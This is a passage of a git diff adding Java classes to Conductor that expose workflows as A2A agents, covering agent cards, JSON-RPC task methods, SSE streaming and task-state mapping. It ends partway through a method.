The {@code kind} discriminator selects the variant (A2A v0.3.x wire model): {@code "text"} + * (uses {@link #text}), {@code "data"} (uses {@link #data}), or {@code "file"} (uses {@link #file}, + * a {@code FileWithBytes} or {@code FileWithUri} object). Unknown fields are ignored so newer + * protocol revisions parse without error. + */ +@Data +@JsonIgnoreProperties(ignoreUnknown = true) +public class Part { + + private String kind; + private String text; + private Object data; + private Object file; + private Map metadata; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/PushNotificationConfig.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/PushNotificationConfig.java new file mode 100644 index 0000000..6f0bf62 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/PushNotificationConfig.java @@ -0,0 +1,43 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.model; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +/** + * Webhook configuration the client registers so a remote agent can POST task updates for + * long-running work (push-notification mode), instead of the client polling {@code tasks/get}. + * + *

{@code url} is the client's callback URL; {@code token} is echoed back by the agent for the + * client to validate the notification. + */ +@Data +@NoArgsConstructor +@AllArgsConstructor +@JsonInclude(JsonInclude.Include.NON_NULL) +@JsonIgnoreProperties(ignoreUnknown = true) +public class PushNotificationConfig { + + private String url; + private String token; + private Object authentication; + + public PushNotificationConfig(String url, String token) { + this.url = url; + this.token = token; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/TaskState.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/TaskState.java new file mode 100644 index 0000000..ea760ec --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/TaskState.java @@ -0,0 +1,71 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.model; + +import java.util.Locale; + +/** + * A2A task lifecycle states and helpers. + * + *

Constants use the A2A v0.3.x wire spelling (lowercase, e.g. {@code "input-required"}). {@link + * #normalize(String)} additionally tolerates the v1.0 ProtoJSON spelling ({@code + * "TASK_STATE_INPUT_REQUIRED"}) so the client interoperates with agents on either generation. + */ +public final class TaskState { + + private TaskState() {} + + public static final String SUBMITTED = "submitted"; + public static final String WORKING = "working"; + public static final String INPUT_REQUIRED = "input-required"; + public static final String AUTH_REQUIRED = "auth-required"; + public static final String COMPLETED = "completed"; + public static final String CANCELED = "canceled"; + public static final String FAILED = "failed"; + public static final String REJECTED = "rejected"; + public static final String UNKNOWN = "unknown"; + + /** Terminal states — no further work happens on the task. */ + public static boolean isTerminal(String state) { + switch (normalize(state)) { + case COMPLETED: + case CANCELED: + case FAILED: + case REJECTED: + return true; + default: + return false; + } + } + + /** Interrupted (paused, resumable) states — the client may continue with the same taskId. */ + public static boolean isInterrupted(String state) { + String s = normalize(state); + return INPUT_REQUIRED.equals(s) || AUTH_REQUIRED.equals(s); + } + + /** + * Normalizes a state string to the v0.3.x lowercase form, also accepting the v1.0 {@code + * TASK_STATE_*} spelling. Returns {@link #UNKNOWN} for a null/blank value. + */ + public static String normalize(String state) { + if (state == null || state.isBlank()) { + return UNKNOWN; + } + String s = state.trim().toLowerCase(Locale.ROOT); + if (s.startsWith("task_state_")) { + s = s.substring("task_state_".length()).replace('_', '-'); + } + return s; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/TaskStatus.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/TaskStatus.java new file mode 100644 index 0000000..73aff0e --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/model/TaskStatus.java @@ -0,0 +1,29 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.model; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import lombok.Data; + +/** + * Current status of an A2A {@link A2ATask}: a {@link TaskState} string, an optional message (e.g. + * the agent's reply or its prompt for more input), and a timestamp. + */ +@Data +@JsonIgnoreProperties(ignoreUnknown = true) +public class TaskStatus { + + private String state; + private A2AMessage message; + private String timestamp; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AServerException.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AServerException.java new file mode 100644 index 0000000..c866828 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AServerException.java @@ -0,0 +1,38 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.server; + +/** An A2A-server error carrying a JSON-RPC error code, mapped to a JSON-RPC error response. */ +public class A2AServerException extends RuntimeException { + + private final int code; + + public A2AServerException(int code, String message) { + super(message); + this.code = code; + } + + public int getCode() { + return code; + } + + /** -32001: agent/task not found (A2A TaskNotFoundError range). */ + public static A2AServerException notFound(String message) { + return new A2AServerException(-32001, message); + } + + /** -32602: invalid params. */ + public static A2AServerException invalidParams(String message) { + return new A2AServerException(-32602, message); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AServerProperties.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AServerProperties.java new file mode 100644 index 0000000..5e574a7 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AServerProperties.java @@ -0,0 +1,66 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.server; + +import java.util.ArrayList; +import java.util.List; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; + +/** + * Configuration for the A2A server — exposing Conductor workflows as A2A agents. + * + *

A workflow is exposed iff its name is in {@link #exposedWorkflows} OR its {@code + * WorkflowDef.metadata} carries {@code a2a.enabled=true}. With neither set, nothing is exposed + * (opt-in by design). + */ +@Data +@Component +@ConfigurationProperties(prefix = "conductor.a2a.server") +public class A2AServerProperties { + + /** Master switch (also enforced by {@code A2AServerEnabledCondition}). */ + private boolean enabled = false; + + /** URL path prefix under which agents are served. Each workflow is at {basePath}/{name}. */ + private String basePath = "/a2a"; + + /** Workflow names explicitly exposed as agents (in addition to metadata opt-in). */ + private List exposedWorkflows = new ArrayList<>(); + + /** + * Externally-reachable base URL (scheme://host[:port]) advertised in the Agent Card's {@code + * url}. If blank, it is derived from the incoming request. + */ + private String publicUrl; + + /** Provider organization advertised on the Agent Card. */ + private String providerOrganization = "Conductor"; + + /** Default accepted input media types for derived skills. */ + private List defaultInputModes = + new ArrayList<>(List.of("application/json", "text/plain")); + + /** Default produced output media types for derived skills. */ + private List defaultOutputModes = + new ArrayList<>(List.of("application/json", "text/plain")); + + /** How often the {@code message/stream} loop polls the workflow for state changes. */ + private long streamPollIntervalMillis = 500; + + /** Hard cap on how long a single {@code message/stream} connection stays open. */ + private long streamMaxDurationSeconds = 300; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AServerResource.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AServerResource.java new file mode 100644 index 0000000..7701cd1 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AServerResource.java @@ -0,0 +1,259 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.server; + +import java.util.List; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.stream.Collectors; + +import org.conductoross.conductor.ai.a2a.A2ALogging; +import org.conductoross.conductor.ai.a2a.A2AMetrics; +import org.conductoross.conductor.ai.a2a.model.A2AMessage; +import org.conductoross.conductor.ai.a2a.model.AgentCard; +import org.conductoross.conductor.config.A2AServerEnabledCondition; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Conditional; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.servlet.mvc.method.annotation.SseEmitter; +import org.springframework.web.util.UriComponentsBuilder; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; +import jakarta.servlet.http.HttpServletRequest; + +/** + * A2A server endpoints — exposes Conductor workflows as A2A agents (one agent per workflow). + * + *

    + *
  • {@code GET {basePath}/{workflow}/.well-known/agent-card.json} (and {@code /agent.json}) — + * discovery. + *
  • {@code POST {basePath}/{workflow}} — JSON-RPC 2.0: {@code message/send}, {@code tasks/get}, + * {@code tasks/cancel}. + *
  • {@code GET {basePath}} — convenience listing of exposed agents (non-spec). + *
+ * + *

Lives in the {@code ai} module (component-scanned by the server), gated by {@code + * conductor.a2a.server.enabled=true}. Paths use the configured {@code basePath} via {@code + * ${conductor.a2a.server.basePath:/a2a}} so the routes match the property. Open by default, like + * OSS Conductor REST — front it with a gateway/firewall, or use the enterprise build for inbound + * authentication (OAuth/mTLS/API keys). + */ +@RestController +@Conditional(A2AServerEnabledCondition.class) +public class A2AServerResource { + + private static final Logger log = LoggerFactory.getLogger(A2AServerResource.class); + + private final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + private final A2AWorkflowAgent agent; + private final A2AServerProperties properties; + + /** Dedicated daemon pool for SSE streams so they don't tie up request/system-task threads. */ + private final ExecutorService streamExecutor = + Executors.newCachedThreadPool( + r -> { + Thread t = new Thread(r, "a2a-server-stream"); + t.setDaemon(true); + return t; + }); + + public A2AServerResource(A2AWorkflowAgent agent, A2AServerProperties properties) { + this.agent = agent; + this.properties = properties; + } + + @GetMapping( + value = { + "${conductor.a2a.server.basePath:/a2a}/{workflow}/.well-known/agent-card.json", + "${conductor.a2a.server.basePath:/a2a}/{workflow}/.well-known/agent.json" + }, + produces = "application/json") + public ResponseEntity agentCard( + @PathVariable("workflow") String workflow, HttpServletRequest httpRequest) { + try { + AgentCard card = agent.agentCard(workflow, requestBaseUrl(httpRequest)); + return ResponseEntity.ok(card); + } catch (A2AServerException e) { + return ResponseEntity.status(HttpStatus.NOT_FOUND).build(); + } + } + + @PostMapping( + value = "${conductor.a2a.server.basePath:/a2a}/{workflow}", + produces = {MediaType.APPLICATION_JSON_VALUE, MediaType.TEXT_EVENT_STREAM_VALUE}) + public Object jsonRpc( + @PathVariable("workflow") String workflow, + @RequestBody(required = false) JsonNode request) { + JsonNode id = request == null ? null : request.get("id"); + try (A2ALogging.Scope scope = A2ALogging.of(A2ALogging.AGENT, workflow)) { + if (request == null || !request.hasNonNull("method")) { + return ResponseEntity.ok(error(id, -32600, "Invalid Request: missing 'method'")); + } + String method = request.get("method").asText(); + scope.add(A2ALogging.METHOD, method); + JsonNode params = request.get("params"); + if ("message/stream".equals(method)) { + return streamResponse(workflow, params, id); + } + Object result; + switch (method) { + case "message/send": + { + // Counter is emitted only for recognized methods — 'method' is + // client-controlled, so it must never become an unbounded metric tag. + A2AMetrics.serverRequest(method); + A2AMessage message = parseMessage(params); + scope.add(A2ALogging.MESSAGE_ID, message.getMessageId()) + .add(A2ALogging.CONTEXT_ID, message.getContextId()) + .add(A2ALogging.REMOTE_TASK_ID, message.getTaskId()); + result = agent.sendMessage(workflow, message); + break; + } + case "tasks/get": + { + A2AMetrics.serverRequest(method); + String getId = taskId(params); + scope.add(A2ALogging.REMOTE_TASK_ID, getId); + result = agent.getTask(workflow, getId); + break; + } + case "tasks/cancel": + { + A2AMetrics.serverRequest(method); + String cancelId = taskId(params); + scope.add(A2ALogging.REMOTE_TASK_ID, cancelId); + result = agent.cancelTask(workflow, cancelId); + break; + } + default: + return ResponseEntity.ok(error(id, -32601, "Method not found: " + method)); + } + return ResponseEntity.ok(success(id, result)); + } catch (A2AServerException e) { + return ResponseEntity.ok(error(id, e.getCode(), e.getMessage())); + } catch (Exception e) { + log.warn("A2A server error handling request for {}: {}", workflow, e.getMessage()); + return ResponseEntity.ok(error(id, -32603, "Internal error: " + e.getMessage())); + } + } + + @GetMapping(value = "${conductor.a2a.server.basePath:/a2a}", produces = "application/json") + public ResponseEntity listAgents(HttpServletRequest httpRequest) { + String base = requestBaseUrl(httpRequest); + List agents = + agent.exposedWorkflows().stream() + .map( + (WorkflowDef def) -> + java.util.Map.of( + "name", def.getName(), + "url", agent.agentUrl(def.getName(), base), + "agentCard", + agent.agentCardUrl(def.getName(), base))) + .collect(Collectors.toList()); + return ResponseEntity.ok(agents); + } + + // ---- helpers ----------------------------------------------------------------------------- + + /** + * Handle {@code message/stream}: validate synchronously (so bad requests get a JSON-RPC error, + * not a half-open stream), then drive the SSE on the dedicated pool. Each event is written as + * one {@code data:} frame; the connection closes when the workflow reaches a terminal / + * input-required state or the stream window elapses. + */ + private Object streamResponse(String workflow, JsonNode params, JsonNode id) { + if (!agent.isExposed(workflow)) { + return ResponseEntity.ok(error(id, -32001, "agent not found: " + workflow)); + } + A2AMessage message; + try { + message = parseMessage(params); + } catch (A2AServerException e) { + return ResponseEntity.ok(error(id, e.getCode(), e.getMessage())); + } + A2AMetrics.serverRequest("message/stream"); + SseEmitter emitter = + new SseEmitter(properties.getStreamMaxDurationSeconds() * 1000L + 5000L); + streamExecutor.submit( + () -> { + try { + agent.streamMessage(workflow, message, id, emitter::send); + emitter.complete(); + } catch (Exception e) { + log.warn( + "A2A message/stream for {} ended with error: {}", + workflow, + e.getMessage()); + emitter.completeWithError(e); + } + }); + return emitter; + } + + private A2AMessage parseMessage(JsonNode params) { + if (params == null || !params.has("message")) { + throw A2AServerException.invalidParams("message/send requires params.message"); + } + return objectMapper.convertValue(params.get("message"), A2AMessage.class); + } + + private String taskId(JsonNode params) { + if (params == null || !params.hasNonNull("id")) { + throw A2AServerException.invalidParams("requires params.id (the task/workflow id)"); + } + return params.get("id").asText(); + } + + private String requestBaseUrl(HttpServletRequest request) { + if (properties.getPublicUrl() != null && !properties.getPublicUrl().isBlank()) { + return properties.getPublicUrl(); + } + return UriComponentsBuilder.fromHttpUrl(request.getRequestURL().toString()) + .replacePath(null) + .replaceQuery(null) + .build() + .toUriString(); + } + + private JsonNode success(JsonNode id, Object result) { + ObjectNode response = objectMapper.createObjectNode(); + response.put("jsonrpc", "2.0"); + response.set("id", id); + response.set("result", objectMapper.valueToTree(result)); + return response; + } + + private JsonNode error(JsonNode id, int code, String message) { + ObjectNode response = objectMapper.createObjectNode(); + response.put("jsonrpc", "2.0"); + response.set("id", id); + ObjectNode err = objectMapper.createObjectNode(); + err.put("code", code); + err.put("message", message); + response.set("error", err); + return response; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AStreamSink.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AStreamSink.java new file mode 100644 index 0000000..6d4a1f1 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AStreamSink.java @@ -0,0 +1,28 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.server; + +import java.io.IOException; + +/** + * Sink for {@code message/stream} events. Each {@code event} is a JSON-RPC envelope ({@code + * {jsonrpc, id, result}}) that the transport (e.g. an {@code SseEmitter}) writes as one SSE {@code + * data:} frame. Keeping this web-agnostic lets {@link A2AWorkflowAgent} drive the stream without + * depending on Spring's SSE types, so it stays unit-testable. + */ +@FunctionalInterface +public interface A2AStreamSink { + + /** Emit one streaming event (a JSON-RPC envelope). */ + void event(Object jsonRpcEnvelope) throws IOException; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AWorkflowAgent.java b/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AWorkflowAgent.java new file mode 100644 index 0000000..fcaad87 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/a2a/server/A2AWorkflowAgent.java @@ -0,0 +1,555 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a.server; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +import org.conductoross.conductor.ai.a2a.A2AMetrics; +import org.conductoross.conductor.ai.a2a.model.A2AMessage; +import org.conductoross.conductor.ai.a2a.model.A2ATask; +import org.conductoross.conductor.ai.a2a.model.AgentCapabilities; +import org.conductoross.conductor.ai.a2a.model.AgentCard; +import org.conductoross.conductor.ai.a2a.model.AgentProvider; +import org.conductoross.conductor.ai.a2a.model.AgentSkill; +import org.conductoross.conductor.ai.a2a.model.Artifact; +import org.conductoross.conductor.ai.a2a.model.Part; +import org.conductoross.conductor.ai.a2a.model.TaskState; +import org.conductoross.conductor.ai.a2a.model.TaskStatus; +import org.conductoross.conductor.config.A2AServerEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.IdempotencyStrategy; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.service.MetadataService; +import com.netflix.conductor.service.TaskService; +import com.netflix.conductor.service.WorkflowService; + +/** + * Exposes Conductor workflows as A2A agents (server side). One workflow = one focused A2A agent. + * + *

Builds the Agent Card from a {@link WorkflowDef}, starts a workflow on {@code message/send} + * (with the inbound A2A {@code messageId} as the durable idempotency key), and maps a workflow + * execution onto an A2A task for {@code tasks/get}/{@code tasks/cancel}. The execution's durability + * (crash-safe, resumable) is inherited from the engine. + */ +@Component +@Conditional(A2AServerEnabledCondition.class) +public class A2AWorkflowAgent { + + /** Input keys injected into the workflow so it can read the raw A2A message. */ + static final String INPUT_TEXT = "_a2a_text"; + + static final String INPUT_MESSAGE_ID = "_a2a_message_id"; + static final String INPUT_CONTEXT_ID = "_a2a_context_id"; + static final String METADATA_ENABLED = "a2a.enabled"; + static final String METADATA_TAGS = "a2a.tags"; + + private final WorkflowService workflowService; + private final MetadataService metadataService; + private final TaskService taskService; + private final A2AServerProperties properties; + + public A2AWorkflowAgent( + WorkflowService workflowService, + MetadataService metadataService, + TaskService taskService, + A2AServerProperties properties) { + this.workflowService = workflowService; + this.metadataService = metadataService; + this.taskService = taskService; + this.properties = properties; + } + + // ---- exposure ---------------------------------------------------------------------------- + + public boolean isExposed(String workflowName) { + WorkflowDef def = latestDef(workflowName); + return def != null && isExposed(def); + } + + private boolean isExposed(WorkflowDef def) { + if (properties.getExposedWorkflows().contains(def.getName())) { + return true; + } + Object flag = def.getMetadata() == null ? null : def.getMetadata().get(METADATA_ENABLED); + return flag instanceof Boolean + ? (Boolean) flag + : flag != null && Boolean.parseBoolean(flag.toString()); + } + + public List exposedWorkflows() { + return metadataService.getWorkflowDefsLatestVersions().stream() + .filter(this::isExposed) + .collect(Collectors.toList()); + } + + // ---- agent card -------------------------------------------------------------------------- + + public AgentCard agentCard(String workflowName, String requestBaseUrl) { + WorkflowDef def = requireExposed(workflowName); + return buildCard(def, requestBaseUrl); + } + + private AgentCard buildCard(WorkflowDef def, String requestBaseUrl) { + String description = + def.getDescription() != null + ? def.getDescription() + : "Conductor workflow '" + def.getName() + "' exposed as an A2A agent"; + + AgentCard card = new AgentCard(); + card.setName(def.getName()); + card.setDescription(description); + card.setUrl(agentUrl(def.getName(), requestBaseUrl)); + card.setVersion(String.valueOf(def.getVersion())); + card.setProtocolVersion("0.3.0"); + card.setPreferredTransport("JSONRPC"); + card.setDefaultInputModes(properties.getDefaultInputModes()); + card.setDefaultOutputModes(properties.getDefaultOutputModes()); + AgentCapabilities capabilities = new AgentCapabilities(); + capabilities.setStreaming(true); // message/stream (SSE) is supported; push config is not + card.setCapabilities(capabilities); + + AgentProvider provider = new AgentProvider(); + provider.setOrganization(properties.getProviderOrganization()); + provider.setUrl(baseUrl(requestBaseUrl)); + card.setProvider(provider); + + AgentSkill skill = new AgentSkill(); + skill.setId(def.getName()); + skill.setName(def.getName()); + skill.setDescription(description); + skill.setTags(tags(def)); + skill.setInputModes(properties.getDefaultInputModes()); + skill.setOutputModes(properties.getDefaultOutputModes()); + card.setSkills(List.of(skill)); + return card; + } + + // ---- A2A methods ------------------------------------------------------------------------- + + public A2ATask sendMessage(String workflowName, A2AMessage message) { + WorkflowDef def = requireExposed(workflowName); + + // Multi-turn: a follow-up message that carries an existing taskId resumes the paused + // execution rather than starting a new one. The taskId is the workflowId we returned on + // the prior input-required response; the message content becomes the awaited input. + if (message != null && message.getTaskId() != null && !message.getTaskId().isBlank()) { + return resume(workflowName, message); + } + + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName(def.getName()); + request.setInput(buildInput(message)); + if (message != null && message.getContextId() != null) { + request.setCorrelationId(message.getContextId()); + } + // Durable idempotency: a retried message/send returns the existing execution. Namespace + // the key with the workflow name so an identical messageId sent to two different exposed + // agents cannot collide on the idempotency lookup. + if (message != null && message.getMessageId() != null) { + request.setIdempotencyKey(def.getName() + ":" + message.getMessageId()); + request.setIdempotencyStrategy(IdempotencyStrategy.RETURN_EXISTING); + } + + String workflowId = workflowService.startWorkflow(request); + return toA2ATask(loadWorkflow(workflowId, def.getName(), false)); + } + + /** + * Resume a paused execution with a follow-up A2A message. The {@code taskId} on the message is + * the workflowId; we complete the pending HUMAN/WAIT task (the thing the workflow is blocked + * on) with the message content as its output, which advances the durable execution. If the + * workflow is already terminal, or is running but not awaiting input, we return its current + * state unchanged (no duplicate workflow is started). + */ + private A2ATask resume(String workflowName, A2AMessage message) { + String workflowId = message.getTaskId(); + // loadWorkflow validates that this execution belongs to the named exposed agent. + Workflow workflow = loadWorkflow(workflowId, workflowName, true); + if (workflow.getStatus() != null && workflow.getStatus().isTerminal()) { + return toA2ATask(workflow); + } + Task blocking = findBlockingTask(workflow); + if (blocking == null) { + // Running but not awaiting input — the agent is busy working; report current state. + return toA2ATask(workflow); + } + taskService.updateTask( + workflowId, + blocking.getReferenceTaskName(), + TaskResult.Status.COMPLETED, + "a2a-resume", + buildInput(message)); + A2AMetrics.serverResume(); + return toA2ATask(loadWorkflow(workflowId, workflowName, true)); + } + + public A2ATask getTask(String workflowName, String workflowId) { + requireExposed(workflowName); + return toA2ATask(loadWorkflow(workflowId, workflowName, true)); + } + + public A2ATask cancelTask(String workflowName, String workflowId) { + requireExposed(workflowName); + Workflow workflow = loadWorkflow(workflowId, workflowName, true); + if (!workflow.getStatus().isTerminal()) { + try { + workflowService.terminateWorkflow(workflowId, "Canceled via A2A tasks/cancel"); + } catch (Exception e) { + // Raced to a terminal state between the check and terminate (e.g. ConflictException + // on an already-completed workflow) — reload and return the actual terminal state. + } + workflow = loadWorkflow(workflowId, workflowName, false); + } + return toA2ATask(workflow); + } + + /** + * Drive a {@code message/stream} for a workflow-backed agent: start (or resume) the execution, + * emit the initial {@code Task}, then poll and emit {@code status-update} events on each state + * change and {@code artifact-update} events when output appears, ending with a {@code final} + * status-update when the workflow reaches a terminal or input-required state. Each event is a + * JSON-RPC envelope written to {@code sink} (one SSE frame). The remote agent execution's + * durability is unaffected — the stream is just a live view; a dropped connection can be picked + * back up with {@code tasks/get}. + */ + public void streamMessage( + String workflowName, A2AMessage message, Object rpcId, A2AStreamSink sink) + throws IOException { + A2ATask task = sendMessage(workflowName, message); // starts or resumes the execution + String workflowId = task.getId(); + sink.event(envelope(rpcId, task)); // initial Task event (kind:"task") + + if (isStreamFinal(stateOf(task))) { + sink.event(envelope(rpcId, statusUpdate(task, true))); + return; + } + + String last = stateOf(task); + long deadline = + System.currentTimeMillis() + properties.getStreamMaxDurationSeconds() * 1000L; + while (System.currentTimeMillis() < deadline) { + sleep(properties.getStreamPollIntervalMillis()); + A2ATask current = getTask(workflowName, workflowId); + String state = stateOf(current); + if (isStreamFinal(state)) { + if (current.getArtifacts() != null) { + for (Artifact artifact : current.getArtifacts()) { + sink.event(envelope(rpcId, artifactUpdate(current, artifact))); + } + } + sink.event(envelope(rpcId, statusUpdate(current, true))); + return; + } + if (!java.util.Objects.equals(state, last)) { + sink.event(envelope(rpcId, statusUpdate(current, false))); + last = state; + } + } + // Hit the max stream duration without a terminal state — close the stream as final and tell + // the client to keep tracking via tasks/get (the durable execution keeps running + // regardless). + A2ATask current = getTask(workflowName, workflowId); + TaskStatus status = new TaskStatus(); + status.setState(stateOf(current)); + status.setMessage( + agentTextMessage( + "Stream window elapsed; the workflow is still running — continue with" + + " tasks/get.", + loadWorkflow(workflowId, workflowName, false))); + sink.event( + envelope( + rpcId, + statusUpdateEvent(current.getId(), current.getContextId(), status, true))); + } + + /** A2A stream ends when the task reaches a terminal OR input/auth-required state. */ + private boolean isStreamFinal(String state) { + return TaskState.isTerminal(state) || TaskState.isInterrupted(state); + } + + private String stateOf(A2ATask task) { + return task.getStatus() != null ? task.getStatus().getState() : null; + } + + private Map envelope(Object rpcId, Object result) { + Map envelope = new HashMap<>(); + envelope.put("jsonrpc", "2.0"); + envelope.put("id", rpcId); + envelope.put("result", result); + return envelope; + } + + private Map statusUpdate(A2ATask task, boolean isFinal) { + return statusUpdateEvent(task.getId(), task.getContextId(), task.getStatus(), isFinal); + } + + private Map statusUpdateEvent( + String taskId, String contextId, TaskStatus status, boolean isFinal) { + Map event = new HashMap<>(); + event.put("kind", "status-update"); + event.put("taskId", taskId); + event.put("contextId", contextId); + event.put("status", status); + event.put("final", isFinal); + return event; + } + + private Map artifactUpdate(A2ATask task, Artifact artifact) { + Map event = new HashMap<>(); + event.put("kind", "artifact-update"); + event.put("taskId", task.getId()); + event.put("contextId", task.getContextId()); + event.put("artifact", artifact); + return event; + } + + private void sleep(long millis) throws IOException { + try { + Thread.sleep(millis); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + throw new IOException("A2A stream interrupted", e); + } + } + + // ---- mapping ----------------------------------------------------------------------------- + + private A2ATask toA2ATask(Workflow workflow) { + A2ATask task = new A2ATask(); + task.setKind("task"); + task.setId(workflow.getWorkflowId()); + task.setContextId(workflow.getCorrelationId()); + + String state = mapState(workflow); + TaskStatus status = new TaskStatus(); + status.setState(state); + String note = statusNote(workflow, state); + if (note != null) { + status.setMessage(agentTextMessage(note, workflow)); + } + task.setStatus(status); + + if 